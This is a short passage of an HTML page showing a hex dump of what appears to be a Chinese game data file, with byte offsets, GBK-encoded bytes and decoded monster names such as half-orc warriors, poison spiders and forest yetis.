size=3>000D2A60&nbsp;&nbsp;B0 EB CA DE D5 BD CA BF 00 00 00 00 B0 EB CA DE&nbsp;&nbsp;半兽战士....半兽<br>000D2A70&nbsp;&nbsp;D3 C2 CA BF 00 00 00 00 BB A2 C9 DF 00 00 00 00&nbsp;&nbsp;勇士....虎蛇....<br>000D2A80&nbsp;&nbsp;00 00 00 00 B6 BE D6 A9 D6 EB 00 00 00 00 00 00&nbsp;&nbsp;....毒蜘蛛......<br>000D2A90&nbsp;&nbsp;C9 AD C1 D6 D1 A9 C8 CB 00 00 00 00 CD FE CB BC&nbsp;&nbsp;森林雪人....威思<br>000D2AA0&nbsp;&nbsp;B6 F8 D0 A1